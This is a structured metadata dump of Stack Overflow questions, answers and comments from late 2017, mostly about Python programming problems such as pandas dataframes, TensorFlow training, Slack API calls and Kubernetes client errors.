has body: I use the Google Object Detection API train a own object detection model. Everything is OK, it is training, like this 2017-10-24 17:40:50.579603: I tensorflow/core/common_runtime/gpu/gpu_device.cc:940] Found device 0 with properties: name: GeForce GTX 1050 Ti major: 6 minor: 1 memoryClockRate (GHz) 1.392 pciBusID 0000:01:00.0 Total memory: 3.94GiB Free memory: 3.55GiB 2017-10-24 17:40:50.579617: I tensorflow/core/common_runtime/gpu/gpu_device.cc:961] DMA: 0 2017-10-24 17:40:50.579621: I tensorflow/core/common_runtime/gpu/gpu_device.cc:971] 0: Y 2017-10-24 17:40:50.579627: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1030] Creating TensorFlow device (/gpu:0) -&gt; (device: 0, name: GeForce GTX 1050 Ti, pci bus id: 0000:01:00.0) 2017-10-24 17:40:51.234252: I tensorflow/core/common_runtime/simple_placer.cc:675] Ignoring device specification /device:GPU:0 for node 'prefetch_queue_Dequeue' because the input edge from 'prefetch_queue' is a reference connection and already has a device field set to /device:CPU:0 INFO:tensorflow:Restoring parameters from ssd_mobilenet_v1_coco_11_06_2017/model.ckpt INFO:tensorflow:Starting Session. INFO:tensorflow:Saving checkpoint to path training/model/model.ckpt INFO:tensorflow:Starting Queues. INFO:tensorflow:global_step/sec: 0 INFO:tensorflow:Recording summary at step 0. INFO:tensorflow:global step 1: loss = 14.9167 (3.799 sec/step) INFO:tensorflow:global step 2: loss = 12.3885 (1.003 sec/step) INFO:tensorflow:global step 3: loss = 11.5575 (0.825 sec/step) 2017-10-24 17:41:00.695594: I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 7141 get requests, put_count=7131 evicted_count=1000 eviction_rate=0.140233 and unsatisfied allocation rate=0.15544 2017-10-24 17:41:00.695684: I tensorflow/core/common_runtime/gpu/pool_allocator.cc:259] Raising pool_size_limit_ from 100 to 110 INFO:tensorflow:global step 4: loss = 10.8721 (0.772 sec/step) INFO:tensorflow:global step 5: loss = 10.2290 (0.790 sec/step) INF…
type: Question

http://stackoverflow.com/comment/81069624
comment on: http://stackoverflow.com/a/47060803
type: AnswerComment
has text: Hmm, I don't think I ever used `try`+`else`, and never considered this issue. But I see the [tutorial](https://docs.python.org/3/tutorial/errors.html) also says *"The use of the else clause is better [...]"*. Now I'm wondering: If that second line could cause a different error, would you then have another `try` nested/indented inside that `else`? And a third would be further nested/indented?
score: 0
type: Comment

http://stackoverflow.com/comment/130309105
score: 0
type: AnswerComment
has text: This seems like a really elegant solution, but I am not able to make it work. Is there a bug? I get the following error: KeyError: '[(1, 2009), (1, 2011), (1, 2012), (2, 2008), (2, 2009), (2, 2010)] not in index'
type: Comment
comment on: http://stackoverflow.com/a/47061417

http://stackoverflow.com/q/47010745
has body: It seems to me that mrkdwn option isn't working as it should. import requests url = 'https://slack.com/api/chat.postMessage' data = {'text': '_a_', 'token': &lt;some_token&gt;, 'mrkdwn': 'false', 'channel': &lt;some_channel&gt;, 'as_user': 'false'} requests.post(url, data=data) This code posts letter 'a' in italic style rather than '_a_'... Has anyone had this kind of problem? Thanks
has comment: http://stackoverflow.com/comment/80968394
tagged with: python
has comment: http://stackoverflow.com/comment/80972557
tagged with: slack-api
accepted answer: http://stackoverflow.com/a/47014466
type: AnsweredQuestion
has title: Can't turn off text formatting
has comment: http://stackoverflow.com/comment/80967903
answer count: 2
has answer: http://stackoverflow.com/a/47014466
has comment: http://stackoverflow.com/comment/80972770
score: 0
tagged with: python-requests
has comment: http://stackoverflow.com/comment/80972981
possible better answer: http://stackoverflow.com/a/47010813
type: Question
has answer: http://stackoverflow.com/a/47010813
has comment: http://stackoverflow.com/comment/80972736
has comment: http://stackoverflow.com/comment/80973037

http://stackoverflow.com/comment/80840945
type: Comment
has text: can you also check main() if cs_writer() is being called or not? I see csv generation and data population.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46945750

http://stackoverflow.com/comment/80862332
type: Comment
has text: Thanks, interesting approach cause later on I want to find similarity percentage between the sentences and their tags. So, returning only one time the different tag is more convenient.
type: AnswerComment
comment on: http://stackoverflow.com/a/46957311
score: 0

http://stackoverflow.com/a/46964575
accepted answer of: http://stackoverflow.com/q/46964188
has body: Doesn't look like you can do it with the information given alone, you need to introduce a cumulative count column to add to the merge columns. Consider this solution &gt;&gt;&gt; import pandas &gt;&gt;&gt; dfa = pandas.DataFrame( {'n':['a','a','b','c'] , 'I' : [1,3,5,9] , 'II':[2,4,6,9]}, columns=['n','I','II']) &gt;&gt;&gt; dfb = pandas.DataFrame( {'n':['a','b','b'] , 'III' : [1,5,7] , 'IV':[2,6,8] }, columns=['n','III','IV']) &gt;&gt;&gt; &gt;&gt;&gt; dfa['nCC'] = dfa.groupby( 'n' ).cumcount() &gt;&gt;&gt; dfb['nCC'] = dfb.groupby( 'n' ).cumcount() &gt;&gt;&gt; dm = dfa.merge(dfb, how='outer', on=['n','nCC'] ) &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; dfa n I II nCC 0 a 1 2 0 1 a 3 4 1 2 b 5 6 0 3 c 9 9 0 &gt;&gt;&gt; dfb n III IV nCC 0 a 1 2 0 1 b 5 6 0 2 b 7 8 1 &gt;&gt;&gt; dm n I II nCC III IV 0 a 1.0 2.0 0 1.0 2.0 1 a 3.0 4.0 1 NaN NaN 2 b 5.0 6.0 0 5.0 6.0 3 c 9.0 9.0 0 NaN NaN 4 b NaN NaN 1 7.0 8.0 &gt;&gt;&gt; It has the gaps or lack of duplication where you want although the index isn't quite identical to your output. Because NaN's are involved the various columns get coerced to float64 types. Adding the cumulative count essentially forces instances to match with each other across both sides, the first matches for a given level match the corresponding first level, and likewise for all instances of the level for all levels.
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80877498
answers question: http://stackoverflow.com/q/46964188
type: Answer

http://stackoverflow.com/a/46934701
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46934148
has comment: http://stackoverflow.com/comment/80817188
has comment: http://stackoverflow.com/comment/80817062
accepted answer of: http://stackoverflow.com/q/46934148
type: AcceptedAnswer
has body: With given format, you can use dateutil.parser.parse to handle it. Here's some code: d = "2017-10-23T03:36:23.337+02:00" time = dateutil.parser.parse(d) print(time.strftime("%d/%m/%y %H/%M/%S")) The output is: 23/10/17 03/36/23
has comment: http://stackoverflow.com/comment/80817225
has comment: http://stackoverflow.com/comment/80817280

http://stackoverflow.com/comment/80798063
type: QuestionComment
has text: *Because* they're reserved words.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46925624

http://stackoverflow.com/comment/80913949
comment on: http://stackoverflow.com/q/46982374
type: QuestionComment
has text: and this example: https://stackoverflow.com/questions/46859945/linking-live-data-from-an-arduino-to-a-lcdnumber-from-pyqt5-with-python3-5/46860282#46860282
score: 0
type: Comment

http://stackoverflow.com/q/47034094
downvote count: 0
answer count: 1
tagged with: authentication
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47052889
has answer: http://stackoverflow.com/a/47052889
has title: Error when connecting to gke cluster from kubernetes-incubator/client-python
tagged with: kubernetes
tagged with: python
type: AnsweredQuestion
tagged with: google-kubernetes-engine
score: 3
upvote count: 3
has body: I'm trying to connect to my gke cluster using kubernetes-incubator/client-python library. I'm running just the basic query: from kubernetes import client, config # Configs can be set in Configuration class directly or using helper utility config.load_kube_config() v1 = client.CoreV1Api() print("Listing pods with their IPs:") ret = v1.list_pod_for_all_namespaces(watch=False) for i in ret.items: print("%s\t%s\t%s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name)) And I'm getting an error: -------------------------------------------------------------------------- RefreshError Traceback (most recent call last) &lt;ipython-input-1-40695f414daf&gt; in &lt;module&gt;() 2 3 # Configs can be set in Configuration class directly or using helper utility ----&gt; 4 config.load_kube_config() 5 6 v1 = client.CoreV1Api() /usr/local/lib/python2.7/distpackages/kubernetes/config/kube_config.pyc in load_kube_config(config_file, context, client_configuration, persist_config) 359 config_file, active_context=context, 360 client_configuration=client_configuration, --&gt; 361 config_persister=config_persister).load_and_set() 362 363 /usr/local/lib/python2.7/dist-packages/kubernetes/config/kube_config.pyc in load_and_set(self) 251 252 def load_and_set(self): --&gt; 253 self._load_authentication() 254 self._load_cluster_info() 255 self._set_config() /usr/local/lib/python2.7/dist-packages/kubernetes/config/kube_config.pyc in _load_authentication(self) 174 if not self._user: 175 return /usr/local/lib/python2.7/dist-packages/kubernetes/config/kube_config.pyc in _load_gcp_token(self) 194 _is_expired(provider['config']['expiry']))): 195 # token is not available or expired, refresh it --&gt; 196 self._refresh_gcp_token() 197 198 self.token = "Bearer %s" % provider['config']['access-token'] /usr/local/lib/python2.7/dist-packages/kubernetes/config/kube_config.pyc in _refresh_gcp_token(self) 203 self._user['auth-provider'].value['config'] = {} 204 provider = self._user['auth-provider']['conf…

http://stackoverflow.com/comment/80767318
type: Comment
comment on: http://stackoverflow.com/q/46910359
score: 0
type: QuestionComment
has text: `l` is empty. You then try to assign an empty list to the first element of `l`, but it doesn't have a first element. You probably want to `append` it.

lua
tags question: http://stackoverflow.com/q/46994544
tag name: lua
type: Tag

http://stackoverflow.com/q/47044375
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/81036167
has answer: http://stackoverflow.com/a/47044438
favorite count: 0
type: Question
upvote count: 2
tagged with: pycharm
possible better answer: http://stackoverflow.com/a/47044430
has title: Why I am getting an error while reading a csv file?
downvote count: 5
has answer: http://stackoverflow.com/a/47044430
score: -3
has comment: http://stackoverflow.com/comment/96334826
tagged with: python
has body: I'm trying to open a csv file so that I can compare my lottery numbers (six randomly generated integers from 1 to 54) to the previous winning numbers from 1992 to 2017 which is what the csv file contains. import random import csv six_random_int =[random.randint(1,54),random.randint(1,54),random.randint(1,54),random.randint(1,54),random.randint(1,54),random.randint(1,54)] print('Your lotto ticket is ',six_random_int) with open('lottotexas.csv','r') as f: #This is where the error is occurring reader = csv.reader(f) for row in reader: print(row) I keep getting the error: with open('lottotexas.csv','r') as f: FileNotFoundError: [Errno 2] No such file or directory: 'lottotexas.csv'. I have the csv file downloaded on my computer but i don't know where to go from there so that my python program can find the csv file.
has answer: http://stackoverflow.com/a/47044504
accepted answer: http://stackoverflow.com/a/47044504
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81036105
answer count: 3

http://stackoverflow.com/comment/81049119
comment on: http://stackoverflow.com/a/47042321
type: Comment
has text: Hmm, this is weird. I've tested it on three different machines, running python 3.5.2 and numpy 1.13.3 and I always get consistent results, even after increasing the threadpool to 1000, increasing the sample size to 50 and the range of sampling to 10'000. How can this be?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80877815
has text: One more question: I guess the good solution to this situation will be, as you said, `PyArray_SetBaseObject`. Is it going to work like this: `PyObject* owner; PyArray_SetBaseObject(array, owner);`
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46961689

http://stackoverflow.com/comment/104776248
type: Comment
type: AnswerComment
has text: thks it worked for me I gave three days on it after that with the help of original document of celery and your code my problem has been resolved...
comment on: http://stackoverflow.com/a/47059888
score: 0

http://stackoverflow.com/a/46984991
downvote count: 0
has comment: http://stackoverflow.com/comment/80918301
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/46984641
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46984641
has comment: http://stackoverflow.com/comment/80930212
type: Answer
has body: You specifically requested a ThreadPool rather than a Pool. This means that instead of creating a new process, the multiprocessing code will create a local thread (in your own process). A ThreadPool instance cannot be terminated abruptly as there is no defined mechanism for that (vs a process, where the system can call os.kill). In your code, the .terminate directive winds up being ignored. In fact, it sets a flag that the pool instance would check when the task returns, but your task never returns. We can see this with a revised version: import argparse import sys import time from multiprocessing.pool import Pool, ThreadPool def task(arg): for i in range(3): print("Working on", arg, "with i =", i) time.sleep(1) def main(): parser = argparse.ArgumentParser() parser.add_argument('--delay', default=1, type=float) args = parser.parse_args() thread_pool = ThreadPool(processes=1) thread_pool.apply_async(task, (0,)) thread_pool.apply_async(task, (1,)) time.sleep(args.delay) print("Terminating") thread_pool.terminate() print("Termination: Initiated") thread_pool.join() # Does not return. print("Termination: Done") if __name__ == '__main__': try: sys.exit(main()) except KeyboardInterrupt: sys.exit('\nInterrupted') which does this when run with no arguments: $ python3 tp.py Working on 0 with i = 0 Working on 0 with i = 1 Terminating Termination: Initiated Working on 0 with i = 2 Termination: Done and this when run with --delay 5: $ python3 tp.py --delay 5 Working on 0 with i = 0 Working on 0 with i = 1 Working on 0 with i = 2 Working on 1 with i = 0 Working on 1 with i = 1 Terminating Working on 1 with i = 2 Termination: Initiated Termination: Done Alternatively, if you just use a Pool instead of a ThreadPool, you will get a real process and can use .terminate on it at any time (modulo the usual caveats about screwing up communications queues).

http://stackoverflow.com/comment/80871393
comment on: http://stackoverflow.com/q/46961472
type: QuestionComment
has text: okay, I will post a complete answer with a brief example on how you can do that
score: 0
type: Comment

http://stackoverflow.com/comment/80878210
has text: @s5s Okay. That probably shouldn't cause many issues with a modern computer, but I'm working on a better solution. Are the delays all integers?
type: Comment
comment on: http://stackoverflow.com/a/46965129
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80909078
comment on: http://stackoverflow.com/a/46979025
type: Comment
has text: You can make a request to server for URL once before making request at code at Question; for example at `window` `load` event
type: AnswerComment
score: 0

http://stackoverflow.com/q/47000343
downvote count: 0
tagged with: django-channels
tagged with: websocket
tagged with: django
has comment: http://stackoverflow.com/comment/80947676
tagged with: python
has comment: http://stackoverflow.com/comment/80947698
score: 3
upvote count: 3
tagged with: channel
has title: Django Channels send message from python websocket-client module
has comment: http://stackoverflow.com/comment/80947448
has comment: http://stackoverflow.com/comment/80947785
favorite count: 0
type: Question
has body: I have a Django Channels server which I intend to use as a websocket server. I am trying to send message to websocket with https://pypi.python.org/pypi/websocket-client I can pass the handshake phase and can see connect log in the terminal. However, when I send message to server, I can not see in consumers.py ws_message function that prints message. Also, I can not see the message in frontend. How can I send message to websocket ? consumers.py from channels import Group from game.models import Game def ws_add(message, order_id): game = Game.objects.get(order__id=order_id) message.reply_channel.send({"accept": True}) Group("game" + str(game.id)).add(message.reply_channel) def ws_message(message, order_id): print message game = Game.objects.get(order__id=order_id) Group("game" + str(game.id)).send({ "text": message['text'], }) def ws_disconnect(message, order_id): game = Game.objects.get(order__id=order_id) Group("game" + str(game.id)).discard(message.reply_channel) send.py from websocket import create_connection ws = create_connection("ws://localhost:8000/game/1/stream") print("Sending 'Hello, World'...") ws.send("Hello, World") print("Sent") ws.close() routing.py from channels.routing import route from game.consumers import ws_add, ws_message, ws_disconnect channel_routing = [ route("websocket.connect", ws_add, path="^/game/(?P&lt;order_id&gt;\d+)/stream/$"), route("websocket.receive", ws_message, path="^/game/(?P&lt;order_id&gt;\d+)/stream/$"), route("websocket.disconnect", ws_disconnect, path="^/game/(?P&lt;order_id&gt;\d+)/stream/$"), ]
has comment: http://stackoverflow.com/comment/80947726
answer count: 0
has comment: http://stackoverflow.com/comment/80947280
type: UnansweredQuestion

http://stackoverflow.com/q/47006829
answer count: 5
has answer: http://stackoverflow.com/a/47007011
has body: I am rather new to python and seeking help regarding a homework prompt of mine. Here is the exact prompt from the professor: Both start_ip and end_ip should be 12-digit integer numbers. That is to make the IP lookup easier. First split the ip address at periods, then add leading zeros to each number to make each of them three digits, i.e. the string 102.1.2.0 becomes the integer 102001002000. Hint: use the string zfill() method (zero fill) and do operations as strings to build a string of digits and only convert to an int after the whole number has been built (note that when converted to an int leading zeros of the first number will be lost since an int does not have leading zeros – that is OK). So basically we remove the dots from the ip string, reformat the string to be 12 characters long, and then convert that to an int. For example: 0.0.0.0 should go to -> 000.000.000.000 102.1.2.0 should go to -> 102001002000 This is what I came up with, but it doesnt seem to work: def ip_to_int(ip): ip = ip.split('.') ip = ip[0].__str__() + ip[1].__str__() + ip[2].__str__() + ip[3].__str__() ip = ip.zfill(12) return int(ip) For example, when I plug the ip 0.0.0.0 into this code, it returns the int 0. And when I put in 1.0.0.0 , it results in 1,000. I am not able to pinpoint why this is happening. Like I said I am new to python so some of what I did might not entirely make sense. Thanks in advance.
tagged with: python
has comment: http://stackoverflow.com/comment/80960258
has comment: http://stackoverflow.com/comment/80960395
upvote count: 2
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80960298
has comment: http://stackoverflow.com/comment/80960408
downvote count: 2
has answer: http://stackoverflow.com/a/47006894
has comment: http://stackoverflow.com/comment/80960250
has comment: http://stackoverflow.com/comment/80960230
has answer: http://stackoverflow.com/a/47006920
has title: Converting IP address string to an int
has answer: http://stackoverflow.com/a/47006847
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47006847
possible better answer: http://stackoverflow.com/a/47006911
has comment: http://stackoverflow.com/comment/80960450
has answer: http://stackoverflow.com/a/47006911

http://stackoverflow.com/comment/80950429
has text: Thanks, I had thought of this solution but I wanted to used regex I think it is better to solve multiple other cases like : "Progress" could start at middle of the string, or start of any line. If "Progress" start at the middle of the string, then I would have to check for any issue number after it.
type: AnswerComment
comment on: http://stackoverflow.com/a/46998007
score: 0
type: Comment

http://stackoverflow.com/a/46945238
answers question: http://stackoverflow.com/q/46945177
type: Answer
score: 1
upvote count: 1
downvote count: 0
has body: Please check the error log, the "Permission denied" error is thrown. You may try pip install --user twisted(recommended) or sudo pip install twisted instead.

http://stackoverflow.com/comment/80905895
has text: Hi, Andy! I probably should have written more. I have a 3d point in space and a 3d normal vector of a face. I want a new point `x` and `y` units away from the original point, along the face defined by the normal.
type: AnswerComment
comment on: http://stackoverflow.com/a/46979141
score: 0
type: Comment

http://stackoverflow.com/q/47051122
answer count: 1
tagged with: pickle
type: Question
score: 0
tagged with: opencv3.0
has body: åI am trying to run a program from https://github.com/JunshengFu/driving-lane-departure-warning when I try to run the code, I get these below error. Traceback (most recent call last): File "lane.py", line 85, in &lt;module&gt; mtx, dist = load_calibration(calib_file) File "/home/ramakrishna/driving-lane-departure-warning-master/calibration.py", line 78, in load_calibration data= pickle.load(file) File "/usr/lib/python2.7/pickle.py", line 1378, in load return Unpickler(file).load() File "/usr/lib/python2.7/pickle.py", line 858, in load dispatch[key](self) File "/usr/lib/python2.7/pickle.py", line 886, in load_proto raise ValueError, "unsupported pickle protocol: %d" % proto ValueError: unsupported pickle protocol: 3 I am new to python.
tagged with: python
has answer: http://stackoverflow.com/a/47051200
type: UnansweredQuestion
has title: ValueError: unsupported pickle protocol: 3 (python-2.7.6 and opencv -3.0.0 version in Ubuntu 14.04)

parsing
tags question: http://stackoverflow.com/q/46959107
tags question: http://stackoverflow.com/q/46905826
tags question: http://stackoverflow.com/q/46908303
tags question: http://stackoverflow.com/q/47004087
tags question: http://stackoverflow.com/q/46986929
tags question: http://stackoverflow.com/q/46924272
tags question: http://stackoverflow.com/q/46986255
tags question: http://stackoverflow.com/q/47063924
tag name: parsing
tags question: http://stackoverflow.com/q/47021031
tags question: http://stackoverflow.com/q/46915162
tags question: http://stackoverflow.com/q/46994348
tags question: http://stackoverflow.com/q/46914714
tags question: http://stackoverflow.com/q/47019991
tags question: http://stackoverflow.com/q/47018651
tags question: http://stackoverflow.com/q/46984158
tags question: http://stackoverflow.com/q/46917904
tags question: http://stackoverflow.com/q/47023138
tags question: http://stackoverflow.com/q/47048755
tags question: http://stackoverflow.com/q/47022454
tags question: http://stackoverflow.com/q/46996649
tags question: http://stackoverflow.com/q/46975180
tags question: http://stackoverflow.com/q/47047998
type: Tag

http://stackoverflow.com/comment/80826187
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46939448
has text: Is it not *compiling*? I don't think that's what you mean. Can you test it with a small set and see if the multiprocessing works and gives you the correct results there? Also, I'm pretty sure this would throw a `NameError` with `array` in your function... Also, if `df` is a `pd.DataFrame`, then `map` will iterate over the *column names*.
score: 1

http://stackoverflow.com/comment/80904842
type: Comment
score: 0
type: QuestionComment
has text: you sure parent process started with virtualenv python?
comment on: http://stackoverflow.com/q/46978624

http://stackoverflow.com/comment/80882397
score: 0
type: AnswerComment
has text: Thanks ! Works !!! And i have doubt what is means for **(a-1,-1,-1)** can you explain pls...>!
comment on: http://stackoverflow.com/a/46962316
type: Comment

http://stackoverflow.com/comment/81071011
has text: I would use PyParsing
comment on: http://stackoverflow.com/q/47061371
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/q/46992718
has title: Cannot find python library
tagged with: python
has answer: http://stackoverflow.com/a/55304570
has answer: http://stackoverflow.com/a/46992802
upvote count: 2
has answer: http://stackoverflow.com/a/71733475
has comment: http://stackoverflow.com/comment/80931909
has comment: http://stackoverflow.com/comment/80932744
type: UnansweredQuestion
score: 1
has answer: http://stackoverflow.com/a/46992741
has body: I'm trying to run indic nlp library and there's an import statement from indicnlp.tokenize import indic_tokenize but nowhere is it mentioned how to install indicnlp or maybe I don't understand. Can anyone help me with it?
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/70587455
type: Question
has comment: http://stackoverflow.com/comment/80931902
tagged with: package
has comment: http://stackoverflow.com/comment/80932581
answer count: 5

http://stackoverflow.com/q/46931131
has body: I have 3 lists - Name = ["ABC", "DEF", "GHI"] Year = [2016,2017] Month = ["Aug","Jul","Jun"] I want to create a dataframe from these lists as follows - df - Name Year Month ABC 2016 Aug ABC 2016 Jul ABC 2016 Jun ABC 2017 Aug ABC 2017 Jul ABC 2017 Jun DEF 2016 Aug DEF 2016 Jul DEF 2016 Jun DEF 2017 Aug DEF 2017 Jul DEF 2017 Jun ..... and so on for all values in the lists. Is there any method in python(pandas or numpy or scipy) to perform this? Or is looping the only way to perform this?
type: Question
tagged with: numpy
linked to: http://stackoverflow.com/q/11144513
tagged with: dataframe
tagged with: python
has title: Creating repeating values in a pandas Dataframe
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46931185
tagged with: pandas
score: 0
has answer: http://stackoverflow.com/a/46931185
answer count: 1

http://stackoverflow.com/q/46938523
type: Question
has comment: http://stackoverflow.com/comment/80824398
has answer: http://stackoverflow.com/a/46982514
answer count: 2
type: UnansweredQuestion
has title: Finding another occurrence of a result, using Python, urllib
has answer: http://stackoverflow.com/a/46940193
tagged with: urlopen
has comment: http://stackoverflow.com/comment/80824320
has comment: http://stackoverflow.com/comment/80824677
has body: How do I find another occurrence of print(text)? I mean, how do I repeat this until there is no more to display? code: def find(): import urllib url = "https://www.pciconcursos.com.br/" f = urllib.urlopen(url) page = str(f.read()) start = page.find('title=') begin_quote = page.find('"', start + 1) end_quote = page.find('"', begin_quote+1) text = page[begin_quote+1:end_quote] print(text)
has comment: http://stackoverflow.com/comment/80904851
score: 0
tagged with: python
tagged with: urllib

http://stackoverflow.com/q/46993476
upvote count: 2
downvote count: 0
has title: How to dynamically select a subset from pandas dataframe?
accepted answer: http://stackoverflow.com/a/46993786
tagged with: python
has answer: http://stackoverflow.com/a/46993786
linked to: http://stackoverflow.com/q/20528328
score: 2
type: AnsweredQuestion
tagged with: pandas
answer count: 1
tagged with: dataframe
favorite count: 0
type: Question
has body: I'm new to python and I wanted to do this particular task which doesn't seem obvious to me how to do it. I don't even know what to search in order to find it. First here is the code snippet and I'll explain what I'm aiming for below it: import pandas as pd mycolumns = ['col1', 'col2', 'col3'] df = pd.DataFrame(data=[[**1**,2,3,**1**,5,6],[1,2,3,4,5,6]], columns=['col1_l', 'col2_l', 'col3_l', 'col1_r', 'col2_r', 'col3_r']) criteria = list() for col in mycolumns : criterion = (df[col + '_l'] == df[col + '_r']) criteria.append(criterion) df = df[criteria[0] | criteria[1] | ... | criteria[5]] print df Output: col1_l col2_l col3_l col1_r col2_r col3_r 0 1, 2, 3, 1, 5, 6 What I want is to be able to select the dataframe rows that meet all the specified criteria, but the problem is that the number of columns is not fixed, each run could have different number of columns and I want to do the same each time I execute this. Question is, how can I write this line: df = df[criteria[0] | criteria[1] | ... | criteria[5]] Keep in mind that the dataframe is obtained from a join sql query over a database, I just wrote this example dataframe for clarification. Thank you and pardon me if this was obvious.

http://stackoverflow.com/comment/80981826
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47017419
type: QuestionComment
has text: Yep I like to use `BeautifulSoup` as well and i know there is an option there. However, it doesn't support psudoelement search pattern, as in `:contains()` so, i like to stick to lxml library. Thanks.

http://stackoverflow.com/q/47049035
has comment: http://stackoverflow.com/comment/81052687
has body: I am trying to write a function that can allow two mismatch of the letter. X Y is as below: NKXD QSII NKXD SIIA NKXD IIAI NKXD IAII NKXD AIIR NKXD IIRA Here I want to match in the position of N can be N, or T, or A, or G and in the position of K can ne K, or L and in the position of D can ne D, or E and X can be any thing. Now getting output (Edit 3) Like that (Its last line output) ((101, 'GDVEKGD'), (215, 'DETF'), (278, 'TKTL'), (400, 'EASSD')) ((101, 'GDVEKGD'), (215, 'DETF'), (278, 'TKTL'), (405, 'RCSAL')) ((101, 'GDVEKGD'), (215, 'DETF'), (278, 'TKTL'), (420, 'EVKAG')) ((284, 'GIQVNGP'), (336, 'QQMG'), (389, 'KKRD'), (420, 'EVKAG')) ((284, 'GIQVNGP'), (358, 'DSER'), (438, 'KLQD'), (495, 'AESAQ')) ((284, 'GIQVNGP'), (358, 'DSER'), (438, 'KLQD'), (499, 'QASAK')) Edit 2 Special Letters: N="TAG" K="L" D="E" ['MASE', 'ASEI', 'SEIH', 'EIHM', 'IHMT'] g4 = 'NKXD' X can be anything, we want if N is not then check for T, A, G or if K is not then check for L or if D is not then check for E. our special character is for N == `N, T, A, G and for K == K, Q and for D == D, E but if N is there in this case there is no mismatch. Now I want only special letter mismatch data. MASE - E spl_mismatch, but this not required - M and A is mismatch ASEI - A spl_mismatch, S, I is mismatch EIMH - Here E, I, H mismatch, but only one allow IHMT - I, H, T is mismatch, but only one allow For example: please see output above third column: TKTL - here T, is special mismatch but L is mismatch I don't need, I want only two special mismatch data and NKXD X can be anything. these two condition I want in g4_match function. example: TLKD here T and L is the special mismatch and ALRD here A and L is special mismatch and TKJE - here T and E is special mismatch and NKID this type data here no mismatch or no special mismatch g4_match function def g4_match(X,Y): N="TAG" K="QL" D="E" spl_mismatch = 0 for x,y in zip(X,Y): #print x, y if x == 'N' and y in N: if x == 'K' and y in K: spl_mismatch += 1 elif x =…
has comment: http://stackoverflow.com/comment/81050912
has comment: http://stackoverflow.com/comment/81046206
favorite count: 0
has comment: http://stackoverflow.com/comment/81106355
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47050377
has comment: http://stackoverflow.com/comment/81105135
has title: How to make a function that can allow two miss match str in python
has comment: http://stackoverflow.com/comment/81103600
tagged with: bioinformatics
type: UnansweredQuestion
score: -2
has comment: http://stackoverflow.com/comment/81053132
has comment: http://stackoverflow.com/comment/81138706
tagged with: python
has answer: http://stackoverflow.com/a/47049962
has answer: http://stackoverflow.com/a/47049959
has comment: http://stackoverflow.com/comment/81046136
tagged with: python-2.7
upvote count: 0
downvote count: 2
answer count: 3

http://stackoverflow.com/comment/81071696
comment on: http://stackoverflow.com/q/47045385
type: QuestionComment
has text: I downloaded the latest version. still have the same problem
type: Comment
score: 0

http://stackoverflow.com/a/75573643
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46979400
has body: There is no simple single answer as every PDF splitter will have a different take or set of user options. Take a hypothetical case of a File that is 60% fonts 30% images and 10% text say we have a compressed source file of 100 MB so if we split it into just the text with no images or Fonts we get 10 MB for all the pages, and that's what a lot of web optimisers may do/offer by drop font and image quality but in this scenario we would need each 10% of the file be evenly split so 1/10 of the images 1/10 of the fonts and 1/10th of the pages, however Images cannot be just 1/10th nor usually can fonts. Often the output from split in to two would be 60 MB for fonts say 15 MB for images and 5 MB for half the text Thus 100MB split in 2 = 80 MB + 80 MB thus the more its split the larger the storage space and transmittal resources required. Often defeating the aim of splitting, since if they are remerged at a destination they often become a 160MB file !!

http://stackoverflow.com/q/46936595
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/80829101
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46941041
has comment: http://stackoverflow.com/comment/80829542
has answer: http://stackoverflow.com/a/46940885
has comment: http://stackoverflow.com/comment/80829362
has title: Python Pandas: How to sample when grouped and N > group size?
tagged with: pandas-groupby
answer count: 3
tagged with: pandas
score: 2
has comment: http://stackoverflow.com/comment/80829473
has body: I'd like to sample from from a grouped Pandas DataFrame where the group size is sometimes smaller than the N. In the following example, how could I sample 3 when the group size >= 3, otherwise all members of the group? I am trying the following, but I get an error saying "Cannot take a larger sample than population when 'replace=False'". import pandas as pd df = pd.DataFrame({'some_key':[0,0,0,0,0,0,1,2,1,2], 'val': [0,1,2,3,4,5,6,7,8,9]}) gby = df.groupby(['some_key']) gby.apply(lambda x: x.sample(n=3)).reset_index(drop=True)
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/80829229
has answer: http://stackoverflow.com/a/46936870
has comment: http://stackoverflow.com/comment/80829267

http://stackoverflow.com/q/47044278
has body: I've been thinking about how to do this for hours but am stuck. I have a matrix A, with arrival times of customers, and a matrix D, with departure times of customers. E.g. a time in the arrival matrix means one customer arrived at that time, and a time in the departure matrix means one customer departed. I am trying to plot a time series of the number of customers in the store from t=1..800 at intervals of 1. However, the arrival and departure times of the customers are determined by random variables, and this is a simulation that runs with the timestep increasing at random intervals, so I'm finding it hard to store the number of customers at given time intervals in the simulation itself. I think there must be a way to fill out a matrix N with the number of customers at evenly spaced time intervals given the arrival and departure time matrices, but I can't for the life of me think of what it is. Can someone please point me in the right direction?
has title: Coming up with the number of people in a queue at a given time, given matrices of arrival and departure times?
has comment: http://stackoverflow.com/comment/81036532
tagged with: simulation
linked to: http://stackoverflow.com/q/45972684
type: Question
accepted answer: http://stackoverflow.com/a/47046482
